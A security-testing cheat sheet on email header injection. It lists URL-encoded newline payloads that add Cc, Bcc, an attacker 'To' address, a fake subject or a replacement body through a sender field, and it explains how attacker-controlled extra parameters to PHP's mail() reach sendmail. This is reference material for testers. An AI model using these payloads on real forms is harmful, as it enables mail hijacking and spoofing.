79 lines
2.8 KiB
Markdown
79 lines
2.8 KiB
Markdown
# Email Injections
|
|
|
|
## Email Header Injection
|
|
|
|
## Inject Cc and Bcc after sender argument
|
|
|
|
```
|
|
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
|
```
|
|
|
|
The message will be sent to the recipient and recipient1 accounts.
|
|
|
|
## Inject argument
|
|
|
|
```
|
|
From:sender@domain.com%0ATo:attacker@domain.com
|
|
```
|
|
|
|
The message will be sent to the original recipient and the attacker account.
|
|
|
|
## Inject Subject argument
|
|
|
|
```
|
|
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
|
```
|
|
|
|
The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior.
|
|
|
|
## Change the body of the message
|
|
|
|
Inject a two-line feed, then write your message to change the body of the message.
|
|
|
|
```
|
|
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
|
```
|
|
|
|
## PHP mail() function exploitation
|
|
|
|
```bash
|
|
# The function has the following definition:
|
|
|
|
php --rf mail
|
|
|
|
Function [ <internal:standard> function mail ] {
|
|
- Parameters [5] {
|
|
Parameter #0 [ <required> $to ]
|
|
Parameter #1 [ <required> $subject ]
|
|
Parameter #2 [ <required> $message ]
|
|
Parameter #3 [ <optional> $additional_headers ]
|
|
Parameter #4 [ <optional> $additional_parameters ]
|
|
}
|
|
}
|
|
```
|
|
|
|
### The 5th parameter ($additional\_parameters)
|
|
|
|
This section is going to be based on **how to abuse this parameter supposing that an attacker controls it**.
|
|
|
|
This parameter is going to be added to the command line PHP will be using to invoke the binary sendmail. However, it will be sanitised with the function `escapeshellcmd($additional_parameters)`.
|
|
|
|
An attacker can **inject extract parameters for sendmail** in this case.
|
|
|
|
#### Differences in the implementation of /usr/sbin/sendmail
|
|
|
|
**sendmail** interface is **provided by the MTA email software** (Sendmail, Postfix, Exim etc.) installed on the system. Although the **basic functionality** (such as -t -i -f parameters) remains the **same** for compatibility reasons, **other functions and parameters** vary greatly depending on the MTA installed.
|
|
|
|
Here are a few examples of different man pages of sendmail command/interface:
|
|
|
|
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
|
|
* Postfix MTA: http://www.postfix.org/mailq.1.html
|
|
* Exim MTA: https://linux.die.net/man/8/eximReferences
|
|
|
|
Depending on the **origin of the sendmail** binary different options have been discovered to abuse them and l**eak files or even execute arbitrary commands**. Check how in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
|
|
|
## References
|
|
|
|
* [**https://resources.infosecinstitute.com/email-injection/**](https://resources.infosecinstitute.com/email-injection/)
|
|
* [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|